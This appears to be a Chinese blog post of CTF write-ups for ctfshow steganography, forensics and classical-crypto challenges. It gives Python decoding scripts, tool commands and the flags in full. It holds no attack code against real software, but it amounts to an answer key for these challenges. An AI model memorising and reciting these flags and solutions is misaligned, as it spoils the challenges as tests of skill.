s="11000111110100110011011100111101000110111111101111111011011010101100100111000011000101100101100110110011001110010111001011010111001101100010011011111000101100101011001001101100111000110010001110010110110011001111000010111001110010111000101100011110000101100000110100011010101110011111101"
flag=""
for i in range(41): #287//7
    flag += chr(int(s[7*i:7*(i+1)],2))
print(flag)

misc40

用APNG Disassembler分离apng,可以看到不但分离出来了图片还分离出来了txt文本

1000前面那个102一眼ascii码,写一个脚本提取一下即可

flag=""
for i in range(28,69): #flag内容从28位开始
    f = open('apngframe'+str(i)+'.txt')
    s = f.read()
    flag += chr(int(s.split("/")[0][6:]))
print(flag)

misc42

99 116往后刚好是ctfshow啥啥啥的ascii码,所以ascii转一下chr即可

a="99,116,102,115,104,111,119,123,48,55,56,99,98,100,48,102,57,99,56,100,51,102,50,49,53,56,101,55,48,53,50,57,102,56,57,49,51,99,54,53,125"
c=a.split(',')
flag=""
for i in range(0,len(c)):
    flag+=chr(int(c[i]))
    print(flag)
print(flag)
#ctfshow{078cbd0f9c8d3f2158e70529f8913c65}

misc43

PNGDebugger.exe C:\Users\user\Downloads\misc43\misc43.png >1.txt

因为题目描述中说错误中藏着答案,我们把crc-code=xxx检验crc失败的那些值都提取出来然后转str即可

import binascii

hex_str = "93A62E63746673686F777B36656232353839666666663565333930666536623837353034646263303839327D"
byte_data = binascii.unhexlify(hex_str)
str_data = byte_data.decode('utf-8', errors='ignore')

print(str_data)

misc44

将文本前10行和最后4行没用的删掉(因为第一个和最后一个不是我们要的IDAT数据块,第一个是一个IHDR,最后一个数据为空,没有意义)。然后写脚本,把CRC OK的替换成1,CRC FAILED替换成0

f=open("1.txt","r")
s=f.read()
f.close()
flag=""
for i in s.split():
    if "OK!" == i:
        flag += "1"
    elif "FAILED" ==i:
        flag += "0"
print(flag)
#11111111111111110110001101110100011001100111001101101000011011110111011101111011011000110110001100110001011000010110011000110011001100100110001001100110001110010011011000110011001100000011100001100110011000110011000100110010001101100011001100110010001100110011000101100010011001010011011100111000001100110110011000110110001110010110010101111101
print(len(flag)) #344
for i in range(43):
    print(chr(int(flag[8*i:8*(i+1)],2)),end="")

misc45

https://cdkm.com/cn/png-to-bmp把png转bmp,然后binwalk -e就能分离出flag

misc46

identify misc46.gif > message.txt

提取出来的0+0、174+49、196+47这些是偏移量,我们视作坐标,写脚本画图

from PIL import Image
import matplotlib.pyplot as plt
f = open('message.txt')
pp = []
while 1:
    c = f.readline()
    if c:
        s = eval(c.split('+')[1]+','+c.split('+')[2][:2])
        pp.append(s)
        print(s)
        # print(c)
    else:
        break
img = Image.new('RGB',(400,70),(255,255,255))
for i in pp:
    new = Image.new('RGB',(1,1),(0,0,0))
    img.paste(new,i)
plt.imshow(img)
plt.show()

misc47

给了一个apng,apng格式每一个IDAT块前面都会有一个fcTL块,其中包含水平垂直偏移量,和上题一样画图即可

import struct
from PIL import Image
import matplotlib.pyplot as plt
f = open('misc47.png','rb')
c = f.read()
c = c[c.index(bytes.fromhex('6663544C00000001')):]
pp = []
for i in range(1,1124,2):
    start = c.index(bytes.fromhex('6663544C0000')+struct.pack('>h',i))
    # start = c.index(bytes.fromhex('6663544C000000'+hex(i)[2:]))
    # print(start)
    fc = c[start:start+30]
    print(fc[18:20],fc[22:24])
    print(struct.unpack('>h',fc[18:20])+struct.unpack('>h',fc[22:24]))
    pp.append(struct.unpack('>h',fc[18:20])+struct.unpack('>h',fc[22:24]))
    # print(fc.index(b'\xb6'),fc.index(b'\x34'))
# print(c[:100])
img = Image.new('RGB',(400,70),(255,255,255))
for i in pp:
    new = Image.new('RGB',(1,1),(0,0,0))
    img.paste(new,i)
plt.imshow(img)
plt.show()

misc48

统计FF的数量再减一,ctfshow{}中包含32个字符。

0 12 11 0 7 10 13 13 9 0 9 13 0 13 6 0 10 9 2 1 0 1 10 8 11 5 12 7 2 2 3 10

转为16进制得到,ctfshow{0cb07add909d0d60a92101a8b5c7223a}

misc49

把FFE后面的那个字符提取出来,再连接在一起,一共32位(),这就是flag

ctfshow{0c618671a153f5da3948fdb2a2238e44}

图片篇(颜色通道)

misc50

misc51

除了前几个其他颜色频率都是0.0015,其中第三个和第二个,看起来有问题一点,我们新建一个黑色背景图片,如果坐标(x,y)对应的颜色为上述两种其一就把它变成白色

from PIL import Image
im=Image.open('51.png')
im = im.convert('RGB')
img = Image.new("RGB",(900,150))
 
for h in range(900):
    for w in range(150):
        s = im.getpixel((h,w))
        if s == (64, 96, 128) or s == (128, 96, 64):
            img.putpixel([h, w], (255, 255, 255))
img.show()

misc52

这次取出现次数最少的十种

from PIL import Image
im=Image.open('misc52.png')
im = im.convert('RGB')
img = Image.new("RGB",(900,150))
lt = [(130, 176, 116),(72, 217, 123),(146, 16, 141),(130, 241, 105),(251, 160, 136),(5, 129, 88),(167, 46, 187),(20, 65, 141),(96, 231, 225),(196, 144, 18)]
for h in range(900):
    for w in range(150):
        s = im.getpixel((h,w))
        if s in lt:
            img.putpixel([h, w], (255, 255, 255))
img.show()

ctfshow{f87ad503c2c163471fbe768c9d7a9d6c}

misc53

misc54

这三个通道零位有隐写

misc55

先把图片翻转过来

from PIL import Image
 
img = Image.open('misc55.png')
 
img.transpose(Image.FLIP_TOP_BOTTOM).save('out.png')

隐藏了一个压缩包

save bin出来解压就是flag了

misc56

R4、R2、R1、G4、G2、G1通道均有隐写痕迹,选这几个即可

原谅杯

来份色图

不想写wp了捏/(ㄒoㄒ)/~~

对setu进行如下操作然后保存为1.bin,然后改后缀名变为1.png

对setu用foremost分出一张图片,同上操作,最后对两张图片盲水印即可

七夕杯

杂项签到

010editor打开图片拖到最后就找到flag了

ctfshow{misc_sign_is_easy}

你会lsb吗

把附件拖进010editor,会发现它里面一堆KP,一看就是zip的PK倒序了,写一个脚本置换一下

f = open('zip', 'rb').read()
res = open('1.zip', 'wb')
res.write(f[::-1])

把1.zip解压一下得到一张图片

有一个ctfshow,可能是什么密码,lsb,再加上给了密码,可以联想到用cloacked-pixel对图片进行解码

python2 lsb.py extract stego.png 1.txt ctfshow

呵呵,这个工具得在python2用,安装库都安了一个小时,推荐一个文章:Kali Python2.7安装pip2和模块方法

解出来一个文本,里面是emoji-aes加密的,用https://aghorler.github.io/emoji-aes/解密即可,密码还是ctfshow,rotation选2

ctfshow{D0u_Y0u_7now_em0js-AES}

总结下emoji的考点:emoji编码(base100),emoji-aesemoji2text,其中后两个需要密码,还有个Cloakify,可以用Cloakify-Powershell把emoji转为文件。

菜狗杯

杂项签到

用010editor打开三哈的图片,直接搜索ctfshow就拿到flag了

损坏的压缩包

foremost分离出图片

谜之栅栏

cfhwfaab2cb4af5a5820}

tso{06071f997b5bdd1a

两个拼起来就是flag了

ctfshow{f0a6a0b721cfb949a7fb55ab5d8d210a}

你会数数吗

一眼词频分析

ctfshow{a1b2d3e4g56i7j8k9l0}

你会异或吗

异或后得到图,图上有flag

flag一分为二

用foremost分离后,图片在Linux中打不开,说是CRC的问题,那显然就得改高度了,

运行模板,改高度(之前重庆大学生那个题有过教程,感觉他们题差不多)

然后就看得到一部分flag,但还有一部分:

已知改图片没有附件,所以另一部分flag肯定也在这张图里,在哪儿呢?直接联想到盲水印了,重邮办比赛的题不会偷的这个比赛吧😓

所以flag就是:ctfshow{FirstP@RTSecondP@rTMikumiku~}

You and me

下载附件得到两张图片,一看就是盲水印了,之前也复现也提到过了,难绷,重庆大学生竞赛之前遇到了就好了

黑丝白丝还有什么丝?

黑丝为 1 白丝为 0 转场动画为分割标志,然后题目提示了是莫斯密码嘛:

011 00001 10 1 1 11111 1000 000 11 11 111 010 0 1010 001 1 0

解一下就行了:ctfshow{W4NTT0B3MORECUTE}

我吐了你随意

零宽度隐写

ctfshow{OP_is_for_Over_Power}

这是个什么文件?

看来是伪加密

改了之后解压出来一个神秘文件

一眼pyc,改后缀,找个在线平台反编译一下:

#!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.7 flag = bytes([     99,     116,     102,     115,     104,     111,     119,     123,     99,     100,     106,     110,     106,     100,     95,     53,     54,     53,     102,     95,     71,     67,     68,     72,     95,     107,     99,     114,     105,     109,     125]).decode() print(flag)

ctfshow{cdjnjd_565f_GCDH_kcrim}

抽象画

base一把梭出来一眼16进制,可能可以组成图片

保存完得到一个奇怪的图片

npiet可以得到flag(没见过)

先点击npiet-start.bat启动cmd,然后npiet.exe 图片名即可

迅疾响应

链接

我可没有骗你

先爆破密码:55813329,得到的mp3文件改wav后缀,然后用silent eye即可

你被骗了

解压出来得到一个mp3文件,属性里看到flag,但那个是假的,考虑MP3Stego

Decode.exe -X cipher.mp3 -P

一闪一闪亮晶晶

压缩包里图片可以直接解压出来,是汉信码

在线识别得到压缩包密码:CDBHSBHSxskv6

得到的音频是sstv

参考Misc SSTV慢扫描电视&无线电方法

ctfshow{NNICCETOMMETYOU}

一层一层一层地剥开我的♥

压缩包解压出来的文件如下

通过经验可以判断,这个压缩包其实不是压缩包,而是一个docx文件,改后缀名,打开后得到一些奇怪的字符,字体名为Wingdings 3

改字体得到正常文字

没得到什么有效信息,binwalk得到两个压缩包

0.zip是那个docx文件,而那个2983.rar有压缩包密码,密码是Twinkle twinkle little star,how I wonder what you are的简谱:11556654433221(这谁想的到),得到一个文件一张图

FFD9(jpg文件尾)后面又跟着FFD8FF(jpg文件头)

把FFD8FF之后的十六进制数据复制下来然后新建后可获得一个jpg图片文件,具体参考前面抽象画的wp

打开那个♥按我下面的步骤改成rar文件

多了四组00,修改成rar文件头52617221即可,修改完毕后保存并加上rar后缀

压缩包的密码是图片上的winkwink~

最后这个emoji是base100

ctfshow{Wa0_wa_Congr@tulations~}

这次比赛学了不少emoji相关的加密,比如emoji-aesemoji2textbase100(emoji编码),其中emoji-aes和emoji2text需要密码

打不开的图片

求反即可

CRYPTO

密码签到

base一把梭:ctfshow{welcome_2_caigou_cup}

Caesar

显然是凯撒,随便试试就出来了

ctfshow{Welcome to CTFshow vegetable dog cup!}

0x36d

长见识了,原来emoji密码还有这种txtmoji,我之前只知道emoji编码和aes-emoji

这里的密码就是0x36d的十进制,也就是877

类型-7

没听过,现在想来题目就是提示了——type 7加密

@bash

埃特巴什码,又是谐音梗,绷不住了

ctfshow{LOVEMUMUZI}

This is Sparta

密文是:

WFlni~seseds~lh ~@codyc~_owoot~Bm guf~oev rsTy ec ha!tgufon!oeplwj? t!a{i!Ca gy@Tba oi}

斯巴达手杖加密,被我百度到了,但我用这个网站没做出来,看了其他人的wp,发现要用这个栅栏密码的网站,但是还是没做出来,看了答案后知道,答案为:

Welcome to CTFshow vegetable dog cup! and your flag is ctfshow{yo~~~~~~Tanji_is_@_Boy!!?!@}

用位移为7确实能整出明文来,但没法从明文还原到明文,难绷:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇